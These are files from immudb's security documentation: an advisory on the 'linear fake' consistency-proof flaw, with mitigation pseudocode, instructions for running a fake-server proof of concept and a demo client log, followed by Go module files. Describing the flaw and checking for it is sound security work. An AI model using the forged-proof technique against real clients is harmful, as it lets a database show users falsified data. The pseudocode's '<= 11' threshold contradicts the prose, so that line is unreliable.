    "content": "# Linear fake vulnerability\n\n## Issue description\n\nimmudb uses Merkle Tree enhanced with additional linear part to perform\nconsistency proofs between two transactions. The linear part is built from\nthe last leaf node of the Merkle Tree compensating for transactions\nthat were not yet *consumed* by the Merkle Tree calculation.\n\nThe Merkle Tree part is then used to perform proofs for things that are\nin transaction range covered by the Merkle Tree where the linear part\nis used to check those that are not yet in the Merkle Tree.\n\nWhen doing consistency checks between two immudb transactions, the linear proof\npart was not fully checked. In fact only the first entry (last Merkle Tree leaf)\nand the last entry (current DB state value) of the linear part of the older transaction\nthat were *consumed* by the Merkle Tree of the newer transaction were checked against\nthe new Merkle Tree without ensuring that elements in the middle of that chain are correctly\nadded as leafs in the new Merkle Tree.\n\nThis lack of check means that the database can present different set of\nhashes for transactions on the linear proof part to what would later be used once those\nbecome part of the Merkle Tree. This property can be exploited by the database\nto expose two different transaction contents depending on the previously known state\nthat the user requested consistency proof for.\n\nIn practice this could lead to the following scenario:\n\n* a client requests a verified write operation\n* the server responds with a proof for the transaction\n* client stores the state value retrieved from the server and\n  expects it to be a confirmation of that write and all the history\n  of the database before that transaction\n* a series of validated read / write operations is performed by the client,\n  each accompanied by a successfully validated consistency proof and\n  update of the client state\n* the client requests verified get operation on the transaction it\n  has written before (and that was verified with a proof from the server)\n* the server replies with a completely different transaction that can\n  be properly validated according to the currently stored db state on the\n  client side\n\n## Mitigation\n\n### Short term\n\nThe issue can only be exploited when the length of the linear proof outside of the\nMerkle Tree is longer than 1 node.\n\nIn order to protect against such an attack, the client library must additionally\ncheck that all the nodes inside the linear proof from the trusted state are properly\nconsumed by the Merkle Tree of the updated state. The updated immudb server adds additional\n`LinearAdvance` proof to the main `DualProof` that contains inclusion proofs for all the\nentries in the consumed part of the linear proof.\n\nNote that this additional `LinearAdvance` proof is not needed if the length of the consumed\nlinear proof part is no longer than 1 node which will be true for all transactions committed\nwith a normal immudb server in version 1.3.2 and above.\n\n#### Validation algorithm of the additional LinearAdvance proof\n\nTo validate the proof, all entries on the consumed linear part are checked against the\ntarget Merkle Tree. Those nodes are computed by performing a walk on the linear proof\nthat must lead to the last node that we check against.\n\n```plain\n\n# 1. Calculate the range of transactions to check\n\nstartTx := oldState.blTxID\nendTx := min(oldState.txID, newState.BlTxID)\n\n# 2. Check if the additional proof has to be performed\n\nif endTxID <= startTxID+1 {\n  // Linear Advance Proof is not needed, the consumed linear proof part\n  // is short enough to be covered by other checks.\n  return verificationSuccess\n}\n\n# 3. Check the proof data, note that the presence of the proof itself is only\n# done at this point. The server may return no proof if it is not needed\n# thus accessing proof's internals may result in nil pointer access if done\n# before check in 2.\n\nif proof == nil ||\n    len(proof.LinearProofTerms) != int(endTxID-startTxID) ||\n    len(proof.InclusionProofs) != int(endTxID-startTxID)-1 {\n  // Proof must contain specific number of entries\n  return verificationFailure\n}\n\n# 4. Loop over all consumed linear proof nodes\n\ncalculatedAlh := proof.LinearProofTerms.Next() // alh at startTx+1\nfor txID := startTxID + 1; txID < endTxID; txID++ {\n\n  # 5. inclusion proof of the node\n\n  if ahtree.VerifyInclusion(\n    proof.InclusionProofs.Next,\n    txID,\n    target.BlSize, \n    leafFor(calculatedAlh),\n    treeRoot,\n  ) == VerificationFailure {\n    return VerificationFailure\n  }\n\n  # 6. Calculate the Alh for the next transaction, this is the same method as the one used\n  # for the LinearProof validation\n  calculatedAlh = sha256( toBytes(txID+1) | calculatedAlh | proof.LinearProofTerms.Next() )\n\n}\n\n# 7. Check the final calculated hash - that one is also checked for inclusion but in different part of the proof\n\nif oldState.txID < newState.BlTxID {\n  if calculatedAlh != oldState.Alh {\n    return VerificationFailure\n  }\n} else {\n  if calculatedAlh != newState.BlTxAlh {\n    return VerificationFailure\n  }\n}\n\n# 8. All steps of the proof succeeded\n\nreturn VerificationSuccess\n\n#### Compatibility with older immudb servers\n\nTo maintain compatibility with older servers that do not compute the `LinearAdvance` part\nof the `DualProof`, the client SDK performs a series of additional calls to the immudb server\nin order to fill in the missing peaces of the information. This does impose additional\noverhead in the number of server calls thus it is advised to update the immudb server\nto avoid such penalty.\n\nThe algorithm for rebuilding of such `LinearAdvance` proof is as follows:\n\n```plain\n\n# 1. Calculate the range of transactions consumed by the new Merkle Tree\n\nstartTx := oldState.blTxID\nendTx := min(oldState.txID, newState.BlTxID)\n\n# 2. LinearAdvance proof is only needed if the length of the consumed linear chain is greater than 1.\n# The node at `startTx` is validated using `LastInclusion` proof and the `endTx` is validated either\n# by using the `InclusionProof` (if it is oldState.txID) or by consistency proof between old and new\n# Merkle tree (if it is newState.BlTxID).\n\nif endTx - startTx <= 11 {\n  return\n}\n\n# 3. Fill in inclusion proofs for nodes in the consumed linear path\n\ninclusionProofs = []\nfor txID := startTx + 1; txID < endTx; txID++ {\n\n  partialProof = client.VerifiableTxById(\n    Tx: targetTxID, ProveSinceTx: txID,\n    // Add entries spec to exclude any entries to avoid transferring large responses\n    EntriesSpec: { KvEntriesSpec: { Action: EXCLUDE } },\n  })\n\n  inclusionProofs.append(partialProof.DualProof.InclusionProof)\n\n}\ndualProof.LinearAdvanceProof.InclusionProofs = inclusionProofs\n\n# 4. Fill in the linear proof for all nodes on the checked path to ensure those\n# lead to the final node at the endTx\n\npartialProof := client.VerifiableTxById(ctx, &VerifiableTxRequest{\n  Tx: endTxID, ProveSinceTx: startTxID + 1,\n  // Add entries spec to exclude any entries to avoid transferring large responses\n  EntriesSpec: { KvEntriesSpec: { Action: EXCLUDE } },\n})\n\ndualProof.LinearAdvanceProof.LinearProofTerms = partialProof.DualProof.LinearProof.Terms\n```\n\n### Long term\n\nSince the calculation of the Merkle Tree is always done in a synchronous manner\nby default (immudb waits for full recalculation before committing a transaction)\nwe can completely remove the need of the linear proof part. That additional technique\nwas in fact added to compensate potential problems with Merkle Tree recalculation\nspeed, however such compensation was never needed in practice because Merkle Tree\nrecalculation speed is much faster than other operations necessary to commit a\ntransaction.\n\nThe long-term successor of the fix presented above is to present an updated proof to the client\nthat only consists of the proof within the Merkle Tree without the Linear part.\nCalculation of the linear part is still needed to keep compatibility with the older clients.\n\n## PoC\n\nIn the `server` folder there's an implementation of a fake server that will provide\nfalsified proofs for certain order of operations.\n\nIn order to check if the client is vulnerable, it must perform the following operations:\n\n* start with no state\n* perform verified read of TX 2 (client stores state for TX 2)\n* perform verified read of TX 3 (client performs consistency proof between TX 2 and TX 3)\n* perform verified read of TX 5 (client performs consistency proof between TX 3 and TX 5)\n* perform verified read of TX 2 again (client gets different data than what was given with\n  the first verified read, but the provided proof against state form TX 5 seems correct)\n\nA client with short-term mitigation implemented will fail reading the TX 3 - that transaction\nuses linear proof with 2 nodes outside of the Merkle Tree.\n\nTo run the server using docker container run the following (assuming that we run in the\ndirectory where this readme file is located):\n\n```sh\ndocker-compose up -d\n```\n\nor\n\n``` sh\ndocker build -t immufake . && docker run -p 3322:3322 -d immufake\n```\n\nAn immudb client demonstrating that issue can be found in `go` directory:\n\n```sh\n$ cd go\n$ go run main.go \n2022/09/01 15:20:34 Reading Tx 2\n2022/09/01 15:20:34   Keys from verified read:\n2022/09/01 15:20:34      valid-key-0\n2022/09/01 15:20:34   Client verified state:\n2022/09/01 15:20:34    TxID: 2\n2022/09/01 15:20:34    Hash: be6ed4baa7e7b27bd419fea6d5bf52bf76aa9a64f7c6dcd6eb4e6252fc675195\n2022/09/01 15:20:34 Reading Tx 3\n2022/09/01 15:20:34   Keys from verified read:\n2022/09/01 15:20:34      valid-key-1\n2022/09/01 15:20:34   Client verified state:\n2022/09/01 15:20:34    TxID: 3\n2022/09/01 15:20:34    Hash: 6696b4323aaedb89b076fb63ed3bdcf7aca4ff523875c6cecf9ff5bf46eebfbf\n2022/09/01 15:20:34 Reading Tx 5\n2022/09/01 15:20:34   Keys from verified read:\n2022/09/01 15:20:34      key-after-1\n2022/09/01 15:20:34   Client verified state:\n2022/09/01 15:20:34    TxID: 5\n2022/09/01 15:20:34    Hash: f590b73eccf4c19856baf48fdf4fc44c92949655561a059a392d7de1e1057617\n2022/09/01 15:20:34 Reading Tx 2\n2022/09/01 15:20:34   Keys from verified read:\n2022/09/01 15:20:34      fake-key\n2022/09/01 15:20:34   Client verified state:\n2022/09/01 15:20:34    TxID: 5\n2022/09/01 15:20:34    Hash: f590b73eccf4c19856baf48fdf4fc44c92949655561a059a392d7de1e1057617\n2022/09/01 15:20:34 FAILURE: Client is vulnerable, was able to read two different datasets for same transaction: 'valid-key-0' and 'fake-key'\nexit status 1\n```\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/docker-compose.yml",
    "content": "version: '3'\nservices:\n  fakeimmudb:\n    build:\n      context: .\n    ports:\n      - 3322:3322\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/go/go.mod",
    "content": "module linear-fake\n\ngo 1.24.0\n\nrequire github.com/codenotary/immudb v1.4.1\n\nrequire (\n\tgithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect\n\tgithub.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect\n\tgithub.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect\n\tgithub.com/beorn7/perks v1.0.1 // indirect\n\tgithub.com/cespare/xxhash/v2 v2.2.0 // indirect\n\tgithub.com/fsnotify/fsnotify v1.5.4 // indirect\n\tgithub.com/golang/protobuf v1.5.2 // indirect\n\tgithub.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect\n\tgithub.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect\n\tgithub.com/hashicorp/hcl v1.0.0 // indirect\n\tgithub.com/inconshreveable/mousetrap v1.0.0 // indirect\n\tgithub.com/magiconair/properties v1.8.6 // indirect\n\tgithub.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect\n\tgithub.com/mitchellh/mapstructure v1.5.0 // indirect\n\tgithub.com/o1egl/paseto v1.0.0 // indirect\n\tgithub.com/pelletier/go-toml v1.9.5 // indirect\n\tgithub.com/pelletier/go-toml/v2 v2.0.1 // indirect\n\tgithub.com/pkg/errors v0.9.1 // indirect\n\tgithub.com/prometheus/client_golang v1.12.2 // indirect\n\tgithub.com/prometheus/client_model v0.2.0 // indirect\n\tgithub.com/prometheus/common v0.32.1 // indirect\n\tgithub.com/prometheus/procfs v0.7.3 // indirect\n\tgithub.com/rogpeppe/go-internal v1.8.0 // indirect\n\tgithub.com/rs/xid v1.3.0 // indirect\n\tgithub.com/spf13/afero v1.8.2 // indirect\n\tgithub.com/spf13/cast v1.5.0 // indirect\n\tgithub.com/spf13/cobra v1.2.1 // indirect\n\tgithub.com/spf13/jwalterweatherman v1.1.0 // indirect\n\tgithub.com/spf13/pflag v1.0.5 // indirect\n\tgithub.com/spf13/viper v1.12.0 // indirect\n\tgithub.com/subosito/gotenv v1.3.0 // indirect\n\tgolang.org/x/crypto v0.48.0 // indirect\n\tgolang.org/x/net v0.50.0 // indirect\n\tgolang.org/x/sys v0.41.0 // indirect\n\tgolang.org/x/term v0.40.0 // indirect\n\tgolang.org/x/text v0.34.0 // indirect\n\tgoogle.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect\n\tgoogle.golang.org/grpc v1.58.3 // indirect\n\tgoogle.golang.org/protobuf v1.36.6 // indirect\n\tgopkg.in/ini.v1 v1.66.6 // indirect\n\tgopkg.in/yaml.v2 v2.4.0 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/go/go.sum",
    "content": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=\ncloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=\ncloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=\ncloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=\ncloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=\ncloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=\ncloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=\ncloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=\ncloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=\ncloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=\ncloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=\ncloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=\ncloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=\ncloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=\ncloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY=\ncloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg=\ncloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8=\ncloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0=\ncloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY=\ncloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM=\ncloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY=\ncloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ=\ncloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI=\ncloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4=\ncloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc=\ncloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA=\ncloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A=\ncloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=\ncloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=\ncloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=\ncloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=\ncloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=\ncloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=\ncloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow=\ncloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM=\ncloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M=\ncloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s=\ncloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU=\ncloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=\ncloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=\ncloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=\ncloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY=\ncloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=\ncloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=\ncloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=\ncloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=\ncloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=\ncloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=\ncloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=\ncloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=\ncloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=\ncloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo=\ndmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=\ngithub.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=\ngithub.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=\ngithub.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ=\ngithub.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=\ngithub.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=\ngithub.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=\ngithub.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=\ngithub.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=\ngithub.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=\ngithub.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY=\ngithub.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk=\ngithub.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=\ngithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY=\ngithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA=\ngithub.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU=\ngithub.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE=\ngithub.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU=\ngithub.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw=\ngithub.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us=\ngithub.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=\ngithub.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=\ngithub.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=\ngithub.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=\ngithub.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=\ngithub.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=\ngithub.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ=\ngithub.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=\ngithub.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=\ngithub.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=\ngithub.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc=\ngithub.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=\ngithub.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=\ngithub.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=\ngithub.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=\ngithub.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=\ngithub.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=\ngithub.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=\ngithub.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM=\ngithub.com/cenkalti/backoff/v4 v4.1.3/go.mod h1:scbssz8iZGpm3xbr14ovlUdkxfGXNInqkPWOWmG2CLw=\ngithub.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=\ngithub.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=\ngithub.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44=\ngithub.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/checkpoint-restore/go-criu/v5 v5.3.0/go.mod h1:E/eQpaFtUKGOOSEBZgmKAcn+zUUwWxqcaKZlF54wK8E=\ngithub.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=\ngithub.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=\ngithub.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=\ngithub.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA=\ngithub.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag=\ngithub.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I=\ngithub.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=\ngithub.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=\ngithub.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=\ngithub.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=\ngithub.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=\ngithub.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=\ngithub.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=\ngithub.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=\ngithub.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=\ngithub.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=\ngithub.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=\ngithub.com/codenotary/immudb v1.4.1 h1:ChMYZULvUQ1JPpzAj84ZkhkpC8Zv/70x6NwRI/dYn+M=\ngithub.com/codenotary/immudb v1.4.1/go.mod 